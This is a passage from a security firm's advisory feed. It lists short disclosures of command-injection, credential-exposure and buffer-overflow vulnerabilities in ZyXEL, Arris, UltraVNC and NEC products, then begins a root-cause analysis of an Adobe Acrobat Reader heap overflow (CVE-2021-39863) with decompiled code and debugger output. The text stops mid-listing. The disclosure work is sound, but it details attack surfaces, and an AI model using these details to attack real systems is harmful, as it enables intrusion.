Normal view

There are new articles available, click to refresh the page.
Before yesterdayExodus Intelligence

ZyXEL Armor Photobak Command Injection Vulnerability

22 February 2022 at 18:58

EIP-c624ba9f

A command-injection vulnerability exists within the ZyXEL Armor Z1 AC2350 series. The vulnerable endpoint is within the ‘photobak’ component found in the cgi-bin. Exploitation of the vulnerability allows for remote unauthenticated attackers to run arbitrary commands on vulnerable versions of the firmware under the context of the underlying lighthttpd subsystem.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-c624ba9f
  • MITRE CVE: CVE-2021-4029

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

  • https://www.zyxel.com/support/forgery-vulnerabilities-of-select-Armor-home-routers.shtml

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 14th, 2021
  • Disclosed to public: February 22nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post ZyXEL Armor Photobak Command Injection Vulnerability appeared first on Exodus Intelligence.

Zlibc Environment Variable Handling Local Privilege Escalation Vulnerability

2 February 2022 at 18:52

EIP-1a8a439f

A vulnerability exists in Zlibc that allows a local attacker to execute arbitrary code with elevated privileges through manipulation of the LD_ZLIB_CONFFILE and LD_ZLIB_UNCOMPRESSOR environment variables when calling setuid binaries.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-1a8a439f
  • MITRE CVE: N/A

Vulnerability Metrics

  • CVSSv2 Score: 6.6

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: January 5th, 2022
  • Disclosed to public: February 2nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Zlibc Environment Variable Handling Local Privilege Escalation Vulnerability appeared first on Exodus Intelligence.

Arris SURFboard SSDP Command Injection Vulnerability

2 February 2022 at 18:33

EIP-55f127ea

A vulnerability exists within Arris SURFboard’s handling of Simple Service Discovery Protocol (SSDP) messages. A specially crafted NOTIFY message with a LOCATION header can result in a command injection under the context of the root user.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-55f127ea
  • MITRE CVE: CVE-2021-41552

Vulnerability Metrics

  • CVSSv2 Score: 8.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: June 16th, 2021
  • Disclosed to public: February 2nd, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Arris SURFboard SSDP Command Injection Vulnerability appeared first on Exodus Intelligence.

LiveAction LiveNX AWS Credential Disclosure Vulnerability

19 January 2022 at 20:56

EIP-7d4ec9e3

Several versions of LiveAction LiveNX network monitoring software contain Amazon Web Services (AWS) credentials. These credentials have privileged access to the LiveAction AWS infrastructure. A remote attacker may abuse these credentials to gain access to LiveAction internal resources.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-7d4ec9e3
  • MITRE CVE: N/A

Vulnerability Metrics

  • CVSSv2 Score: 10

Vendor References

  • This vulnerability has been address in LiveAction LiveNX version 21.4.0

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: July 1st, 2021
  • Disclosed to public: January 19th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post LiveAction LiveNX AWS Credential Disclosure Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client RFB SolidColor Arbitrary Write Vulnerability

16 December 2021 at 21:03

EIP-0e1ca3ec

A vulnerability exists within UltraVNC’s “vncviewer.exe” client. A malicious server can trigger an arbitrary memory write condition through a flaw in the function ClientConnection::SolidColor while drawing pixel data to the screen. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-0e1ca3ec
  • MITRE CVE: PENDING

Vulnerability Metrics

  • CVSSv2 Score: 5.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 8th, 2021
  • Disclosed to public: December 16th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client RFB SolidColor Arbitrary Write Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client RFB rfbServerInitMsg Heap Overflow Vulnerability

16 December 2021 at 20:55

EIP-0e1ca3ec

A vulnerability exists within UltraVNC’s “vncviewer.exe” client. Specifically a malicious server may write arbitrary data to arbitrary memory locations through the  in the “rfbServerInitMsg” function upon parsing a long ‘nameLength’ field returned from a nefarious server. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-0e1ca3ec
  • MITRE CVE: PENDING

Vulnerability Metrics

  • CVSSv2 Score: 5.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 8th, 2021
  • Disclosed to public: December 16th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client RFB rfbServerInitMsg Heap Overflow Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client RFB ReadUltraRect Heap Overflow Vulnerability

16 December 2021 at 20:50

EIP-930b0ea5

A vulnerability exists within UltraVNC’s “vncviewer.exe” client. Specifically a heap overflow can be triggered in the “ClientConnection::ReadUltraRect” function upon decompression of malicious formatted data returned from a nefarious server. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-930b0ea5
  • MITRE CVE: PENDING

Vulnerability Metrics

  • CVSSv2 Score: 5.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: December 8th, 2021
  • Disclosed to public: December 16th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client RFB ReadUltraRect Heap Overflow Vulnerability appeared first on Exodus Intelligence.

UltraVNC Viewer VNC client Remote Memory Leak Vulnerability

2 December 2021 at 23:06

EIP-5182fb5b

A vulnerability exists within UltraVNC view due to a lack of proper stack memory buffer cleanup before constructing the ‘rfbTextChat’ message, which results in a leak of 3-bytes of stack memory. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the UltraVNC Viewer process.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-5182fb5b
  • MITRE CVE: 

Vulnerability Metrics

  • CVSSv2 Score: 4.3

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: June 21th, 2021
  • Disclosed to public: September 25th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post UltraVNC Viewer VNC client Remote Memory Leak Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Transaction Server 0x32 File Read Vulnerability

1 November 2021 at 03:10

EIP-852fe633

An arbitrary file read vulnerability has been found in NEC EXPRESSCLUSTER X that can allow an attacker to read files off the target system. The Transaction Server (clptrnsv.exe) is a system service configured to utilize port 29002 by default to facilitate transactions such as sending and receiving licensing data. This vulnerability occurs during the processing of opcode 0x32, an attacker is able to introduce crafted data into the clptrnsv service to expose arbitrary paths through fopen, fseek, and fread.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-852fe633
  • MITRE CVE: CVE-2021-20707

Vulnerability Metrics

  • CVSSv2 Score: 7.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Transaction Server 0x32 File Read Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Web Manager File Upload Vulnerability

1 November 2021 at 03:07

EIP-d8554689

An arbitrary file upload vulnerability has been found in NEC EXPRESSCLUSTER X. WebManager (clpwebmc.exe) is a webserver tasked with providing remote administrative access, it is configured to utilize port 29003 by default. This vulnerability occurs due to lack of input validation when supplying “UploadFile.js”. An attacker is able to transmit binary data resulting in eventual remote code execution in the context of SYSTEM.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-d8554689
  • MITRE CVE: CVE-2021-20705

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Web Manager File Upload Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Web Manager Command Execution Vulnerability

1 November 2021 at 03:00

EIP-9eccc486

A remote command execution vulnerability has been found in NEC EXPRESSCLUSTER X. WebManager (clpwebmc.exe) is a webserver tasked with providing remote administrative access, it is configured to utilize port 29003 by default. This vulnerability occurs due to a command injection vulnerability in “LogCollect.js”. An attacker is able to specify arbitrary commands that will be executed in the context of SYSTEM.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-9eccc486
  • MITRE CVE: CVE-2021-20706

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Web Manager Command Execution Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Old API Server 0x1D Stack Overflow Vulnerability

1 November 2021 at 02:52

EIP-2ba7cebd

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Old API Support service (clpoldapi.exe) is the system service component tasked with backwards compatibility and utilizes a random port between 1000 and 1500. This vulnerability occurs during the processing of opcode 0x1D within the Old API service. An attacker is able to introduce crafted data into the clptrnsv service to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2ba7cebd
  • MITRE CVE: CVE-2021-20704

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Old API Server 0x1D Stack Overflow Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Transaction Server 0x32 Stack Overflow Vulnerability

1 November 2021 at 02:48

EIP-5f2cf48c

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Transaction Server (clptrnsv.exe) is a system service configured to utilize port 29002 by default to facilitate transactions such as sending and receiving licensing data. This vulnerability occurs during the processing of opcode 0x32 when initializing a clpexescript routine within the Transaction Server. An attacker is able to introduce crafted data into the clptrnsv service to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-5f2cf48c
  • MITRE CVE: CVE-2021-20703

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Transaction Server 0x32 Stack Overflow Vulnerability appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Transaction Server 0x3A Stack Overflow

1 November 2021 at 02:34

EIP-fba18752

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Transaction Server (clptrnsv.exe) is a system service configured to utilize port 29002 by default to facilitate transactions such as sending and receiving licensing data. This vulnerability occurs during the processing of opcode 0x3A when initializing a clpexescript routine within the Transaction Server. An attacker is able to introduce crafted data into the clptrnsv service to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-fba18752
  • MITRE CVE: CVE-2021-20702

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Transaction Server 0x3A Stack Overflow appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Disk Agent 0x104 Stack Overflow

1 November 2021 at 02:25

EIP-8b0cfb43

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Disk Agent (clpdiskagent.exe) is the component that is tasked with handling shared disk resources and mirror disk control. It is configured to utilize port 29004 by default to facilitate communications between agents. This vulnerability occurs during the processing of opcode 0x104 when initializing a CPROGAGT routine within the Disk Agent. An attacker is able to introduce crafted data into the clpdiskagent component to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-8b0cfb43
  • MITRE CVE: CVE-2021-20701

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Disk Agent 0x104 Stack Overflow appeared first on Exodus Intelligence.

NEC EXPRESSCLUSTER X Disk Agent 0x103 Stack Overflow

1 November 2021 at 02:23

EIP-ff1ca610

A stack-based buffer overflow has been found in NEC EXPRESSCLUSTER X that can lead to remote arbitrary code execution with full SYSTEM privileges. The Disk Agent (clpdiskagent.exe) is the component that is tasked with handling shared disk resources and mirror disk control. It is configured to utilize port 29004 by default to facilitate communications between agents. This vulnerability occurs during the processing of opcode 0x103 when initializing a CPROGAGT routine within the Disk Agent. An attacker is able to introduce crafted data into the clpdiskagent component to allow for arbitrary code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-ff1ca610
  • MITRE CVE: CVE-2021-20700

Vulnerability Metrics

  • CVSSv2 Score: 10.0

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 25th, 2021
  • Disclosed to public: October 29th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post NEC EXPRESSCLUSTER X Disk Agent 0x103 Stack Overflow appeared first on Exodus Intelligence.

Analysis of a Heap Buffer-Overflow Vulnerability in Adobe Acrobat Reader DC

4 October 2021 at 13:52

By Sergi Martinez

In late June, we published a blog post containing analysis of exploitation of a heap-buffer overflow vulnerability in Adobe Reader, a vulnerability that we thought corresponded to CVE-2021-21017. The starting point for the research was a publicly posted proof-of-concept containing root-cause analysis. Soon after publishing the blog post, we learnt that the CVE was not authoritative and that the publicly posted proof-of-concept was an 0day, even if the 0day could not be reproduced in the patched version. We promptly pulled the blog post and began investigating.

Further research showed that the vulnerability continued to exist in the latest version and was exploitable with only a few changes to our exploit. We reported our findings to Adobe. Adobe assigned CVE-2021-39863 to this vulnerability and released an advisory and patched versions of their products on September 14th, 2021.

Since the exploits were very similar, this post largely overlaps with the blog post previously removed. It analyzes and exploits CVE-2021-39863, a heap buffer overflow in Adobe Acrobat Reader DC up to and including version 2021.005.20060.

This post is similar to our previous post on Adobe Acrobat Reader, which exploits a use-after-free vulnerability that also occurs while processing Unicode and ANSI strings.

Overview

A heap buffer-overflow occurs in the concatenation of an ANSI-encoded string corresponding to a PDF document’s base URL. This occurs when an embedded JavaScript script calls functions located in the IA32.api module that deals with internet access, such as this.submitForm and app.launchURL. When these functions are called with a relative URL of a different encoding to the PDF’s base URL, the relative URL is treated as if it has the same encoding as the PDF’s path. This can result in the copying twice the number of bytes of the source ANSI string (relative URL) into a properly-sized destination buffer, leading to both an out-of-bounds read and a heap buffer overflow.

CVE-2021-39863

Acrobat Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.

Internet access related operations are handled by the IA32.api module. The vulnerability occurs within this module when a URL is built by concatenating the PDF document’s base URL and a relative URL. This relative URL is specified as a parameter in a call to JavaScript functions that trigger any kind of Internet access such as this.submitForm and app.launchURL. In particular, the vulnerability occurs when the encoding of both strings differ.

The concatenation of both strings is done by allocating enough memory to fit the final string. The computation of the length of both strings is correctly done taking into account whether they are ANSI or Unicode. However, when the concatenation occurs only the base URL encoding is checked and the relative URL is considered to have the same encoding as the base URL. When the relative URL is ANSI encoded, the code that copies bytes from the relative URL string buffer into the allocated buffer copies it two bytes at a time instead of just one byte at a time. This leads to reading a number of bytes equal to the length of the relative URL from outside the source buffer and copying it beyond the bounds of the destination buffer by the same length, resulting in both an out-of-bounds read and an out-of-bounds write vulnerability.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference marks denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

All code listings show decompiled C code; source code is not available in the affected product. Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

The following function is called when a relative URL needs to be concatenated to a base URL. Aside from the concatenation it also checks that both URLs are valid.

__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
  __int16 v5; // di
  wchar_t *v6; // ebx
  CHAR *v7; // eax
  CHAR v8; // dl
  __int64 v9; // rax
  wchar_t *v10; // ecx
  __int64 v11; // rax
  int v12; // eax
  int v13; // eax
  int v14; // eax

[Truncated]

  v77 = 0;
  v76 = 0;
  v5 = 1;
  *(_QWORD *)v78 = 0i64;
  *(_QWORD *)iMaxLength = 0i64;
  v6 = 0;
  v49 = 0;
  v62 = 0;
  v74 = 0;
  if ( !a5 )
    return 0;
  *a5 = 0;
  v7 = lpString;

[1]

  if ( lpString && *lpString && (v8 = lpString[1]) != 0 && *lpString == (CHAR)0xFE && v8 == (CHAR)0xFF )
  {

[2]

    v9 = sub_2581890C(lpString);
    v78[1] = v9;
    if ( (HIDWORD(v9) & (unsigned int)v9) == -1 )
    {
LABEL_9:
      *a5 = -2;
      return 0;
    }
    v7 = lpString;
  }
  else
  {

[3]

    v78[1] = v78[0];
  }
  v10 = Source;
  if ( !Source || !v7 || !String || !a4 )
  {
    *a5 = -2;
    goto LABEL_86;
  }

[4]

  if ( *(_BYTE *)Source != 0xFE )
    goto LABEL_25;
  if ( *((_BYTE *)Source + 1) == 0xFF )
  {
    v11 = sub_2581890C(Source);
    iMaxLength[1] = v11;
    if ( (HIDWORD(v11) & (unsigned int)v11) == -1 )
      goto LABEL_9;
    v10 = Source;
    v12 = iMaxLength[1];
  }
  else
  {
    v12 = iMaxLength[0];
  }

[5]

  if ( *(_BYTE *)v10 == 0xFE && *((_BYTE *)v10 + 1) == 0xFF )
  {
    v13 = v12 + 2;
  }
  else
  {
LABEL_25:
    v14 = sub_25802A44((LPCSTR)v10);
    v10 = v37;
    v13 = v14 + 1;
  }
  iMaxLength[1] = v13;

[6]

  v15 = (CHAR *)sub_25802CD5(v10, 1, v13);
  v77 = v15;
  if ( !v15 )
  {
    *a5 = -7;
    return 0;
  }

[7]

  sub_25802D98(v38, (wchar_t *)v15, Source, iMaxLength[1]);

[8]

  if ( *lpString == (CHAR)0xFE && lpString[1] == (CHAR)0xFF )
  {
    v17 = v78[1] + 2;
  }
  else
  {
    v18 = sub_25802A44(lpString);
    v16 = v39;
    v17 = v18 + 1;
  }
  v78[1] = v17;

[9]

  v19 = (CHAR *)sub_25802CD5(v16, 1, v17);
  v76 = v19;
  if ( !v19 )
  {
    *a5 = -7;
LABEL_86:
    v5 = 0;
    goto LABEL_87;
  }

[10]

  sub_25802D98(v40, (wchar_t *)v19, (wchar_t *)lpString, v78[1]);
  if ( !(unsigned __int16)sub_258033CD(v77, iMaxLength[1], a5) || !(unsigned __int16)sub_258033CD(v76, v78[1], a5) )
    goto LABEL_86;

[11]

  v20 = sub_25802400(v77, v42);
  if ( v20 || (v20 = sub_25802400(v76, v50)) != 0 )
  {
    *a5 = v20;
    goto LABEL_86;
  }
  if ( !*(_BYTE *)Source || (v21 = v42[0], v50[0] != 5) && v50[0] != v42[0] )
  {
    v35 = sub_25802FAC(v50);
    v23 = a4;
    v24 = v35 + 1;
    if ( v35 + 1 > *a4 )
      goto LABEL_44;
    *a4 = v35;
    v25 = v50;
    goto LABEL_82;
  }
  if ( *lpString )
  {
    v26 = v55;
    v63[1] = v42[1];
    v63[2] = v42[2];
    v27 = v51;
    v63[0] = v42[0];
    v73 = 0i64;
    if ( !v51 && !v53 && !v55 )
    {
      if ( (unsigned __int16)sub_25803155(v50) )
      {
        v28 = v44;
        v64 = v42[3];
        v65 = v42[4];
        v66 = v42[5];
        v67 = v42[6];
        v29 = v43;
        if ( v49 == 1 )
        {
          v29 = v43 + 2;
          v28 = v44 - 1;
          v43 += 2;
          --v44;
        }
        v69 = v28;
        v68 = v29;
        v70 = v45;
        if ( v58 )
        {
          if ( *v59 != 47 )
          {

[12]

            v6 = (wchar_t *)sub_25802CD5((wchar_t *)(v58 + 1), 1, v58 + 1 + v46);
            if ( !v6 )
            {
              v23 = a4;
              v24 = v58 + v46 + 1;
              goto LABEL_44;
            }
            if ( v46 )
            {

[13]

              sub_25802D98(v41, v6, v47, v46 + 1);
              if ( *((_BYTE *)v6 + v46 - 1) != 47 )
              {
                v31 = sub_25818D6E(v30, (char *)v6, 47);
                if ( v31 )
                  *(_BYTE *)(v31 + 1) = 0;
                else
                  *(_BYTE *)v6 = 0;
              }
            }
            if ( v58 )
            {

[14]

              v32 = sub_25802A44((LPCSTR)v6);
              sub_25818C6A((char *)v6, v59, v58 + 1 + v32);
            }
            sub_25802E0C(v6, 0);
            v71 = sub_25802A44((LPCSTR)v6);
            v72 = v6;
            goto LABEL_75;
          }
          v71 = v58;
          v72 = v59;
        }

[Truncated]

LABEL_87:
  if ( v77 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v77);
  if ( v76 )
    (*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v76);
  if ( v6 )
    (*(void (__cdecl **)(wchar_t *))(dword_25824098 + 12))(v6);
  return v5;
}

The function listed above receives as parameters a string corresponding to a base URL and a string corresponding to a relative URL, as well as two pointers used to return data to the caller. The two string parameters are shown in the following debugger output.

IA32!PlugInMain+0x168b0:
63ee7d70 55              push    ebp
0:000> dd poi(esp+4) L84
093499c8  7468fffe 3a737074 6f672f2f 656c676f
093499d8  6d6f632e 4141412f 41414141 41414141
093499e8  41414141 41414141 41414141 41414141
093499f8  41414141 41414141 41414141 41414141

[Truncated]

09349b98  41414141 41414141 41414141 41414141
09349ba8  41414141 41414141 41414141 41414141
09349bb8  41414141 41414141 41414141 2f2f3a41
09349bc8  00000000 0009000a 00090009 00090009
0:000> da poi(esp+4) L84
093499c8  "..https://google.com/AAAAAAAAAAA"
093499e8  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a08  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a28  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a48  "AAAA"
0:000> dd poi(esp+8)
0b943ca8  61616262 61616161 61616161 61616161
0b943cb8  61616161 61616161 61616161 61616161
0b943cc8  61616161 61616161 61616161 61616161
0b943cd8  61616161 61616161 61616161 61616161
0b943ce8  61616161 61616161 61616161 61616161
0b943cf8  61616161 61616161 61616161 61616161
0b943d08  61616161 61616161 61616161 61616161
0b943d18  61616161 61616161 61616161 61616161
0:000> da poi(esp+8)
0b943ca8  "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943cc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943ce8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943d08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

[Truncated]

0b943da8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943dc8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943de8  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943e08  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

The debugger output shown above corresponds to an execution of the exploit. It shows the contents of the first and second parameters (esp+4 and esp+8) of the function sub_25817D70. The first parameter contains a Unicode-encoded base URL https://google.com/ (notice the 0xfeff bytes at the start of the string), while the second parameter contains an ASCII string corresponding to the relative URL. Both contain a number of repeated bytes that serve as padding to control the allocation size needed to hold them, which is useful for exploitation.

At [1] a check is made to ascertain whether the second parameter (i.e. the base URL) is a valid Unicode UTF-16BE encoded string. If it is valid, the length of that string is calculated at [2] and stored in v78[1]. If it is not a valid UTF-16BE encoded string, v78[1] is set to 0 at [3]. The function that calculates the Unicode string length, sub_2581890C(), performs additional checks to ensure that the string passed as a parameter is a valid UTF-16BE encoded string. The following listing shows the decompiled code of this function.

int __cdecl sub_2581890C(char *a1)
{
  char *v1; // eax
  char v2; // cl
  int v3; // esi
  char v4; // bl
  char *v5; // eax
  int result; // eax

  v1 = a1;
  if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
    goto LABEL_12;
  v2 = 0;
  v3 = 0;
  do
  {
    v4 = *v1;
    v5 = v1 + 1;
    if ( !v5 )
      break;
    v2 = *v5;
    v1 = v5 + 1;
    if ( !v4 )
      goto LABEL_10;
    if ( !v2 )
      break;
    v3 += 2;
  }
  while ( v1 );
  if ( v4 )
    goto LABEL_12;
LABEL_10:
  if ( !v2 )
    result = v3;
  else
LABEL_12:
    result = -1;
  return result;
}

The code listed above returns the length of the UTF-16BE encoded string passed as a parameter. Additionally, it implicitly performs the following checks to ensure the string has a valid UTF-16BE encoding:

  • The string must terminate with a double null byte.
  • The words composing the string that are not the terminator must not contain a null byte.

If any of the checks above fail, the function returns -1.

Continuing with the first function mentioned in this section, at [4] the same checks already described are applied to the first parameter (i.e. the relative URL). At [5] the length of the Source variable (i.e. the base URL) is calculated taking into account its encoding. The function sub_25802A44() is an implementation of the strlen() function that works for both Unicode and ANSI encoded strings. At [6] an allocation of the size of the Source variable is performed by calling the function sub_25802CD5(), which is an implementation of the known calloc() function. Then, at [7], the contents of the Source variable are copied into this new allocation using the function sub_25802D98(), which is an implementation of the strncpy function that works for both Unicode and ANSI encoded strings. These operations performed on the Source variable are equally performed on the lpString variable (i.e. the relative URL) at [8], [9], and [10].

The function at [11], sub_25802400(), receives a URL or a part of it and performs some validation and processing. This function is called on both base and relative URLs.

At [12] an allocation of the size required to host the concatenation of the relative URL and the base URL is performed. The lengths provided are calculated in the function called at [11]. For the sake of simplicity it is illustrated with an example: the following debugger output shows the value of the parameters to sub_25802CD5 that correspond to the number of elements to be allocated, and the size of each element. In this case the size is the addition of the length of the base and relative URLs.

eax=00002600 ebx=00000000 ecx=00002400 edx=00000000 esi=010fd228 edi=00000001
eip=61912cd5 esp=010fd0e4 ebp=010fd1dc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
IA32!PlugInMain+0x1815:
61912cd5 55              push    ebp
0:000> dd esp+4 L1
010fd0e8  00000001
0:000> dd esp+8 L1
010fd0ec  00002600

Afterwards, at [13] the base URL is copied into the memory allocated to host the concatenation and at [14] its length is calculated and provided as a parameter to the call to sub_25818C6A. This function implements string concatenation for both Unicode and ANSI strings. The call to this function at [14] provides the base URL as the first parameter, the relative URL as the second parameter and the expected full size of the concatenation as the third. This function is listed below.

int __cdecl sub_sub_25818C6A(char *Destination, char *Source, int a3)
{
  int result; // eax
